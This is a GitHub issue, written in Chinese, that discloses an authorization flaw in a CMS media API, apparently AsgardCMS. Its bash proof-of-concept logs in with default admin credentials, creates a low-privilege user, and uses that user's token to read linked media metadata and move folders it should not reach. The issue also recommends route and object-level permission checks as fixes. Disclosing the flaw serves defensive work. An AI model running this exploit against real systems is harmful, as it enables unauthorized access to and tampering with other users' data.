Skip to content

Post-Auth 媒体模块 API 权限缺失导致低权限用户可越权读取、移动并篡改任意实体媒体关系 #847

Open

Description

@Pdsdt

POC:#!/usr/bin/env bash
set -euo pipefail

BASE_URL="${1:-http://192.168.200.21:8000}"
ADMIN_EMAIL="${ADMIN_EMAIL:-n.widart@gmail.com}"
ADMIN_PASSWORD="${ADMIN_PASSWORD:-test}"
TS="$(date +%s)"
ROLE_NAME="Low Media FindFirst ${TS}"
ROLE_SLUG="low-media-findfirst-${TS}"
LOW_EMAIL="low.mediafindfirst.${TS}@example.com"
LOW_PASSWORD='Passw0rd!'
PAGE_SLUG="audit-findfirst-${TS}"
PAGE_TITLE="Audit FindFirst ${TS}"
FOLDER_NAME="audit-findfirst-folder-${TS}"

admin_cookie="$(mktemp)"
low_cookie="$(mktemp)"
admin_html="$(mktemp)"
low_html="$(mktemp)"
page_resp="$(mktemp)"
folder_resp="$(mktemp)"
link_resp="$(mktemp)"
find_resp="$(mktemp)"
trap 'rm -f "$admin_cookie" "$low_cookie" "$admin_html" "$low_html" "$page_resp" "$folder_resp" "$link_resp" "$find_resp"' EXIT

extract_login_csrf() {
grep -oP 'name="_token" type="hidden" value="\K[^"]+'
}

extract_meta_token() {
grep -oP 'meta name="user-api-token" content="\K[^"]*'
}

echo "[*] login as admin"
admin_csrf="$(curl -sS -c "$admin_cookie" "$BASE_URL/en/auth/login" | extract_login_csrf)"
curl -sS -b "$admin_cookie" -c "$admin_cookie" -L "$BASE_URL/en/auth/login"
-d "_token=$admin_csrf"
--data-urlencode "email=$ADMIN_EMAIL"
--data-urlencode "password=$ADMIN_PASSWORD" >"$admin_html"

admin_token="$(extract_meta_token <"$admin_html")"
if [[ -z "$admin_token" ]]; then
curl -sS -b "$admin_cookie" -c "$admin_cookie" "$BASE_URL/en/backend/account/api-keys/create" >/dev/null
admin_token="$(curl -sS -b "$admin_cookie" "$BASE_URL/en/backend" | extract_meta_token)"
fi
echo "[+] admin token: $admin_token"

echo "[*] create low-privilege role"
curl -sS -X POST "$BASE_URL/en/api/user/roles"
-H "Authorization: Bearer $admin_token"
-H 'Content-Type: application/json'
-d "{"name":"$ROLE_NAME","slug":"$ROLE_SLUG","permissions":{"dashboard.index":"1","account.api-keys.index":"1","account.api-keys.create":"1"}}"
echo

role_id="$(
curl -sS "$BASE_URL/en/api/user/roles/all"
-H "Authorization: Bearer $admin_token" |
python3 -c 'import json,sys; data=json.load(sys.stdin)["data"]; slug=sys.argv[1]; print([x["id"] for x in data if x["slug"] == slug][0])' "$ROLE_SLUG"
)"
echo "[+] role id: $role_id"

echo "[*] create low-privilege user"
curl -sS -X POST "$BASE_URL/en/api/user/users"
-H "Authorization: Bearer $admin_token"
-H 'Content-Type: application/json'
-d "{"first_name":"Low","last_name":"FindFirst","email":"$LOW_EMAIL","password":"$LOW_PASSWORD","password_confirmation":"$LOW_PASSWORD","roles":[$role_id],"is_activated":true}"
echo

echo "[*] create a page as admin"
curl -sS -X POST "$BASE_URL/en/api/page/pages"
-H "Authorization: Bearer $admin_token"
-H 'Content-Type: application/json'
-d "{"template":"default","is_home":false,"en":{"title":"$PAGE_TITLE","slug":"$PAGE_SLUG","status":1,"body":"find-first"}}" | tee "$page_resp"
echo

page_id="$(
curl -sS "$BASE_URL/en/api/page/pages"
-H "Authorization: Bearer $admin_token" |
python3 -c 'import json,sys; data=json.load(sys.stdin)["data"]; slug=sys.argv[1]; print([x["id"] for x in data if x["translations"]["slug"] == slug][0])' "$PAGE_SLUG"
)"
echo "[+] page id: $page_id"

echo "[*] create a media folder as admin"
curl -sS -X POST "$BASE_URL/en/api/folder"
-H "Authorization: Bearer $admin_token"
--data-urlencode "name=$FOLDER_NAME" | tee "$folder_resp"
echo

folder_id="$(python3 -c 'import json,sys; print(json.load(sys.stdin)["data"]["id"])' <"$folder_resp")"
echo "[+] folder id: $folder_id"

echo "[*] admin links the media object to the page image zone"
curl -i -sS -X POST "$BASE_URL/en/api/media/link"
-H "Authorization: Bearer $admin_token"
--data-urlencode "mediaId=$folder_id"
--data-urlencode 'entityClass=Modules\Page\Entities\Page'
--data-urlencode "entityId=$page_id"
--data-urlencode 'zone=image'
--data-urlencode 'order=1' | tee "$link_resp" | sed -n '1,30p'

echo "[*] login as low-privilege user"
low_csrf="$(curl -sS -c "$low_cookie" "$BASE_URL/en/auth/login" | extract_login_csrf)"
curl -sS -b "$low_cookie" -c "$low_cookie" -L "$BASE_URL/en/auth/login"
-d "_token=$low_csrf"
--data-urlencode "email=$LOW_EMAIL"
--data-urlencode "password=$LOW_PASSWORD" >"$low_html"

low_token="$(extract_meta_token <"$low_html")"
if [[ -z "$low_token" ]]; then
curl -sS -b "$low_cookie" -c "$low_cookie" "$BASE_URL/en/backend/account/api-keys/create" >/dev/null
low_token="$(curl -sS -b "$low_cookie" "$BASE_URL/en/backend" | extract_meta_token)"
fi
echo "[+] low token: $low_token"

echo "[*] protected page listing should be denied"
curl -i -sS "$BASE_URL/en/api/page/pages"
-H "Authorization: Bearer $low_token" | sed -n '1,20p'

echo "[*] protected media listing should be denied"
curl -i -sS "$BASE_URL/en/api/media/all-vue"
-H "Authorization: Bearer $low_token" | sed -n '1,20p'

echo "[*] low-privilege user can still fetch the first linked media without page/media permissions"
curl -G -i -sS "$BASE_URL/en/api/media/find-first-by-zone-and-entity"
--data-urlencode 'entity=Modules\Page\Entities\Page'
--data-urlencode "entity_id=$page_id"
--data-urlencode 'zone=image'
-H "Authorization: Bearer $low_token" | tee "$find_resp" | sed -n '1,40p'

echo "[*] extracted leaked filename"
python3 - <<'PY' "$find_resp"
import json,sys
raw=open(sys.argv[1]).read()
body=raw.split("\r\n\r\n")[-1] if "\r\n\r\n" in raw else raw.split("\n\n")[-1]
data=json.loads(body)["data"]
print("[+] leaked id:", data["id"])
print("[+] leaked filename:", data["filename"])
print("[+] leaked path:", data["path"])
PY

POC TEST:使用默认管理员账号登录并获取 API Token,创建仅具备 dashboard.index、account.api-keys.index、account.api-keys.create 权限的低权限角色和用户。该低权限用户访问 GET /en/api/media/all-vue 返回 401 Unauthorized,说明媒体列表接口本应受权限保护;但同一 Bearer Token 访问 GET /en/api/media/1 返回 200 且成功读取目录元数据,继续调用 POST /en/api/media/move 返回 200 和 Files moved successfully。最后管理员再次查询该目录时,path 已从 /assets/media/audit-src-1773740220 变为 /assets/media/audit-dst-1773740220/audit-src-1773740220,证明低权限用户在没有 media 权限的情况下确实完成了目录读取与移动操作。越权访问链路清晰、响应结果一致,判定漏洞成立。

suggest:对 /workspace/source-code/Modules/Media/Http/apiRoutes.php 中所有仅挂 api.token 的敏感路由补齐最小化 token-can 校验,至少应覆盖 media/link、media/unlink、media/move、media/sort、media/find-first-by-zone-and-entity、media/get-by-zone-and-entity、media/{media} 与 folder/breadcrumb/{folder}。其中 GET /folder/breadcrumb/{folder} 应与 GET /folder 一致补充 token-can:media.folders.index,避免低权限用户绕过目录列表授权直接枚举路径层级。同时建议在 MediaController、MoveMediaController 与 FolderBreadcrumbController 内增加第二层对象级授权:限制 entityClass 只能来自受信任白名单,并基于当前用户权限校验目标实体、目标媒体对象及其关系是否允许读取、关联、解绑、移动、重排或读取目录层级,避免后续路由声明遗漏时再次暴露越权面。

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions